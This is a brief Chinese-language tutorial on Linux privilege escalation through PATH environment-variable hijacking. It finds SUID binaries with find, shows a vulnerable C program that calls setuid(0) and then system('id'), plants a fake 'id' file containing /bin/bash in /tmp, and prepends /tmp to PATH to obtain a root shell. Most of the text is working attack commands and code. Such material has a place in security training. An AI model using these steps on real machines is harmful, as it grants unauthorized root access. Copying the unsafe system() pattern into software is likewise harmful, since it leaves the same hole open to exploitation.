前提
- 具有SUID权限的文件–>所以会root权限运行
- 文件内容是以root权限执行的system命令–>system函数会继承环境变量,所以可以修改环境变量劫持,而以root运行才能达到提权目的
- 能本地创建文件–>一般/tmp目录任何用户都可以读写
流程
- 查看具有SUID权限的文件(必须是二进制文件)
find / -perm -u=s -type f 2>/dev/null
- 发现一个shell文件,cat发现是以root权限执行id命令,当无法查看文件内容时可使用xxd /shell | grep id命令来fuzz一下
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
}
- 任意目录创建一个以id命名的文件文件(一般为tmp目录)
echo "/bin/bash" > id && chmod 777 id
cat id
/bin/bash
-
劫持环境变量
echo $PATH //查看环境变量,发现以 :分割目录,且优先级从左往右
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
export PATH=/tmp:$PATH // 将/tmp目录加在了最前面,所以执行命令时会优先去tmp目录中寻找,改为 . 表示将当前目录加入环境变量最前面 -
在回到刚刚的shell目录执行shell会发现得到了一个以root权限运行的bash。